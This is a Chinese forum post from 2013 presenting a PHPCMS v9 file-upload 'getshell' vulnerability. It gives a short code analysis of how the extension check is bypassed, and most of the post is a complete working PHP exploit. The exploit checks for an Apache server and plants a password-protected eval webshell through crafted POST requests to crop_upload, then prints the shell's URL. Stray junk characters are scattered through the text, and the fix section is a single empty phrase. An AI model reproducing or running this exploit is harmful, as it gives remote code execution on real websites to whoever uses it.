找回密码
 立即注册
查看: 2922|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
/ n: v, H, d& z! H) ]- R4 l/ r8 ^% ^
简要描述:
3 k6 G- s* q5 b
) X5 a' l9 h# gphpcms v9 getshell (apache)
, {0 j5 ^) C: c0 p8 H/ y# C详细说明:
; U( X, _/ G$ K
# s1 d# ]* G  h漏洞文件:phpcms\modules\attachment\attachments.php
; I6 j: h5 c: G6 A6 r" h- b5 D( \0 [1 a( _
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } . w! t5 F! |) @; ], @
后缀检测:phpcms\modules\attachment\functions\global.func.php
% D! j( l! ?1 b" S2 C3 e# ^1 J) Y$ C  D0 ^! \* U8 W9 _3 I
( Z+ v* n* e2 r8 \# m" k! n* o
8 p, s& S0 |: a5 `4 @  y
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  ) ?; z2 |& Y: A+ }: n: x
. @% y- n' d0 V- q- X9 U4 V! t" T
关键函数:
/ L  `* y# ^3 X7 a
4 v0 U& A0 u- n; h! A' z: ^) d1 U# o9 j
$ K7 W0 h3 M9 v0 z$ G4 d% y. B/ h$ a) I( g7 [  h8 Q
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
, s) X, w; t. Z* ~7 n% |% ^/ H+ `. [' n. `% R' `- h
  Fileext函数是对文件后缀名的提取。
% t( p1 V2 N" h根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php7 a$ B- F/ m* h% [1 E0 }6 E
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
  U- i5 u/ b  g9 R+ E我们回到public function crop_upload() 函数中# o: ]0 O9 ~) q5 v. c& X0 [4 L: B- X
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();3 O! [8 u5 {$ U% G0 j( d
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数+ s6 \" ^8 b, S# d
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
! g. r$ z; h9 |$ N* Z' [经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。3 n6 s- G3 r% [
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
' X; T( l) W9 `1 |看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。8 m. `9 i* W4 l! S- |% b3 M
漏洞证明:0 j" [5 D9 x, ?4 f# F

+ l& ^/ u+ A( G$ g& Cexp:  }) c( j+ x: d; M, a
5 f5 Y9 V: Z' m4 X- U
<?php
" H" a2 P/ q1 c0 Y. u' b! c" [0 qerror_reporting(E_ERROR);
, ?& w2 u: B4 q  c2 S! u6 [# wset_time_limit(0);" a9 j$ W) G- N
$pass="ln";1 v2 j3 l" [. P. g* g9 r6 j
print_r('3 L0 y. B7 \' L1 F: ]( F  M
+---------------------------------------------------------------------------+" k. m: m+ \% k# }$ \. i
PHPCms V9 GETSHELL 0DAY
0 h" T& c5 k, ]code by L.N.  T+ L6 H, B8 M& s! ]0 w& y
! b" r+ P# V/ ~8 v0 \+ ?3 `
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
( O( z, M: Y: _5 C( V7 a+---------------------------------------------------------------------------+
2 `+ ?. F: M; d; J; L  i');
1 S6 ?$ w7 E0 R/ t% Yif ($argc < 2) {
7 z, j2 n* N' @: W* u1 ^print_r('2 x) [, ?  \" m. r  |& ]& R" \
+---------------------------------------------------------------------------+
6 b  s2 X/ @1 C# G; }& b6 a6 TUsage: php '.$argv[0].' url path
! @& U- k% K% z) z5 D% o6 `3 _8 e' t) {6 G- I
Example:
6 @! i; l9 N6 o$ }$ l! }1.php '.$argv[0].' lanu.sinaapp.com
# ~% B3 M; C% q) u% F: m2.php '.$argv[0].' lanu.sinaapp.com /phpcms5 u3 w* {# J! }( F3 {3 h' @. h
+---------------------------------------------------------------------------+
( d; I  ^' j' ]4 Y: I" Y');
: t* R: E4 Q2 G! [( m* Iexit;
6 E0 k2 [, N! @) N4 o0 d% S' p}
7 k1 |- T5 w* K) @( w- l( l! p& X* {) d9 A
$url = $argv[1];5 u0 w0 S$ M3 d0 Z1 n, r+ q% P
$path = $argv[2];
& e2 t" T" [2 O0 q  C$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';+ I) C; `) a3 D
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
$ c0 L! Q; `" f  W4 t$ Jif($ret=Create_dir($url,$path))
3 X0 A* P1 g9 G2 U3 |% {' c0 Y{
' h7 L$ A' j( M+ G/ V//echo $ret;
# h/ J# G) ?5 J& \5 @$pattern = "|Server:[^,]+?|U";
9 G) P7 k2 c9 ^4 Z9 N. Mpreg_match_all($pattern, $ret, $matches);
; w$ `& w, V6 N& jif($matches[0][0])$ a0 W! f; r" o7 q
{
/ k7 v  _6 |6 ?' R5 {7 k- `' oif(strpos($matches[0][0],'Apache') == false)
8 I+ B& m1 D2 r. o5 r% Y{; H* c4 c2 `) V+ B1 y
echo "\n亲!此网站不是apache的网站。\n";exit;5 X- z* k9 A8 G. V! y8 ?4 _: R
}/ L9 Y% Z% {+ o& u
}3 @# S6 c! R% N. B) ]$ }6 W
$ret = GetShell($url,$phpshell,$path,$file);
3 p4 Y& @+ p+ {$ O; O& M$pattern = "|http:\/\/[^,]+?\.,?|U";( u" X% U5 ?; d
preg_match_all($pattern, $ret, $matches);! d) s, {* r: `' U
if($matches[0][0])8 Q' U: k8 i$ c2 O. x4 M
{
9 F) M% b( s3 x1 Z; q4 p8 K/ y7 G, kecho "\n".'密码为: '.$pass."\n";
1 \+ v- j: X* recho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;4 j( G7 Q" c& {$ f5 Z
}
* R% _* L; ?4 Pelse
' q3 a+ P6 W/ c7 B( [4 C0 m{
) K! L) G0 Z5 ]2 i5 v) ]" E( n$ t$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
! ?9 r+ l' R8 npreg_match_all($pattern, $ret, $matches);! @( v' Y% k$ T" v
if($matches[0][0])
% a$ t8 S, ]1 G2 t# X' Y{
7 w0 Q3 M# ]7 e& w. Gecho "\n".'密码为: '.$pass."\n";
: [( E0 W4 C/ s# R  j4 necho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
4 ^, c  l" a% J4 m; `" W7 O( K}7 h; f. I; K2 U1 Y
else
* K/ E  }, _" s1 p2 F{% n% r9 V% ]; h. q5 ]
echo "\r\n没得到!\n";exit;
( r& `( k! m4 U/ w. [}
" I4 E4 l+ V/ Y* E6 `: O" a}
; j2 i1 n4 l) ^$ T1 v" V! Q3 h}
( @7 u( M7 u4 v% i# b' H3 ]$ D, a, s) U
function GetShell($url,$shell,$path,$js)7 |3 `7 r9 {8 [4 O$ O% n+ a
{: ~1 t6 o6 \8 ~3 C
$content =$shell;& E  U* p% y( q; f
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";1 F3 G$ o* b+ S" [! d- L2 L* J/ Y
$data .= "Host: ".$url."\r\n";+ q& [, d3 D1 F
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";2 L; @) N  J& |- l
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";! n3 p& I* v/ [, ]; D- z% e4 [# B
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
6 S7 j% g9 y- U$ R4 T6 J$data .= "Connection: close\r\n";- K* g5 o: d* j" ?9 ?% M+ `
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
+ u1 G  p6 ~3 F: L: Y' y" j$data .= $content."\r\n";
: I0 G3 U" [& G4 }* D2 {$ock=fsockopen($url,80);
; s2 w& G* Z: @4 ~9 Iif (!$ock)/ w4 Z6 t9 s. _. F
{
% H; G9 v0 o) eecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
6 g  c: _; U9 B5 l}
1 E* i( B" V5 s/ B5 F8 h* Y6 Xelse
5 O, y5 m+ M$ W- `5 ~% B' r{
' K1 i1 t2 o" M+ |' i$ mfwrite($ock,$data);& A4 ^, L9 i( u6 P
$resp = '';( v8 t+ j1 V/ T( G3 ^: ^
while (!feof($ock))
* w6 J8 R- s9 k% b{$ J/ }$ Q. W) p
$resp.=fread($ock, 1024);
: a& W! ^* v5 e: o  A3 J, {: E}
/ f8 \' z. Q9 R& b; H8 h; ureturn $resp;
5 c' X  Z( V/ v/ h# M}3 E) s, z# `! U  _& O. D
}% i$ q  _3 q- c8 z, F. v% U

0 B6 L2 j6 V% E) h& j& S  \function Create_dir($url,$path='')
7 e& ]5 `: Z- b{2 a7 w0 I9 r$ }
$content ='I love you';
# c% d; Y( d  y& l5 H4 E9 s$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
3 i" \! z4 J, W$ ]0 u7 Z9 t$data .= "Host: ".$url."\r\n";$ D/ N& }6 v, S& q
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
# k# }" ]: ?8 ?' ]" f( o  G) h. |/ N$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";/ X& _7 L6 @1 h2 r( g) J
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$ Z' _( f  d  j4 D$data .= "Connection: close\r\n";; y0 K( }$ u' }2 }3 M
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
* `9 h% A  N- u) w/ R. A% x$data .= $content."\r\n";
) o, ?/ c( c& H/ A; ~$ock=fsockopen($url,80);
# r. F# }& C7 B6 gif (!$ock)- ^* m# i# @8 q- B# N& a/ s/ G
{
* L1 d2 g# b; Becho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
' p4 q2 z2 v* m  ?}
" ^" C2 B& Q, _8 R5 }fwrite($ock,$data);
7 U" _5 r5 a9 I6 a0 T. S$resp = '';
+ j1 G: c2 V/ z9 L' b- L( w% wwhile (!feof($ock))
! w  x8 x5 @% q( X" d7 Y* R5 ^3 [$ x+ Y{$ z! Z  C+ _# A3 @/ V
$resp.=fread($ock, 1024);
* z6 V8 O2 D+ j0 N8 ]}
6 Z- @$ {: x. A- b: W6 i, vreturn $resp;
2 e- g" {$ L' @* ^4 D+ a0 U: g; L, |7 X}
, M: B  e" W/ }; E! C' {?> % j9 z' L- a- S, X  c- U1 v
4 V4 g! I# N: n1 |; O, V
修复方案:- h+ @( a  X; T4 X" t

3 R7 d4 Y6 ^) p! ^( G过滤过滤再过滤
- _6 ^: P4 U5 J$ h9 N' a& W
/ Z8 k) K, ?% A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表